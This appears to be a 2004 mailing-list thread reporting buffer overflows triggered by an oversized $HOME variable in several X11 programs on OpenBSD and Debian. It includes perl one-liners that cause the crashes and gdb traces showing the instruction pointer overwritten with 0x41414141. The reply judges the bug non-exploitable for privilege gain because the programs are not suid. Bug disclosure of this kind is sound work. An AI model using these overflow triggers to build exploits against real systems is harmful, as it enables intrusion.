On Sunday 15 August 2004 00:32, Gabriele Galadini wrote:Hi all,
i've found some packages on obsd current version (3.5) on arch x86, give me return problems.
I explain:
[EMAIL PROTECTED] export HOME=`perl -e 'print "A" x 4387'` [EMAIL PROTECTED] dpsinfo Segmentation fault [EMAIL PROTECTED] export HOME=`perl -e 'print "A" x 4387'` [EMAIL PROTECTED] dpsinfo Segmentation fault [EMAIL PROTECTED] export HOME=`perl -e 'print "A" x 5763'` [EMAIL PROTECTED] dpsexec Segmentation fault [EMAIL PROTECTED] export HOME=`perl -e 'print "A" x 1619'` [EMAIL PROTECTED] mwm Segmentation fault [EMAIL PROTECTED] export HOME=`perl -e 'print "A" x 2915'` [EMAIL PROTECTED] xv Segmentation fault [EMAIL PROTECTED] export HOME=`perl -e 'print "A" x 1013'` [EMAIL PROTECTED] abiword Segmentation fault
shell used is bash version 2.05b
regards, G.Hi,
Under Debian:
#ll -l /usr/bin/X11/dpsinfo
-rwxr-xr-x 1 root root 6456 Jul 7 18:07 /usr/bin/X11/dpsinfo
# gdb dpsinfo
GNU gdb 6.1-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...(no debugging symbols found)...Using
host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) r
Starting program: /usr/X11R6/bin/dpsinfo
(no debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
----
# ll /usr/bin/X11/dpsexec
-rwxr-xr-x 1 root root 8184 Jul 7 18:07 /usr/bin/X11/dpsexec
# gdb dpsexec
GNU gdb 6.1-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...(no debugging symbols found)...Using
host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) r
Starting program: /usr/X11R6/bin/dpsexec
(no debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
----
So Debian is also vulnerable, both these binaries come with the xbase-clients
package.
However, the overflow does not lead to a security breach - none of the programs
in question are suid, so all you can do with an exploit is get a shell.
Which you already had, because you just launched the program from it :-)
In any case, the situation in which the bug shows up is so implausible ($HOME thousands of characters long) that it's barely worth fixing.
PGP.sig
Description: This is a digitally signed message part
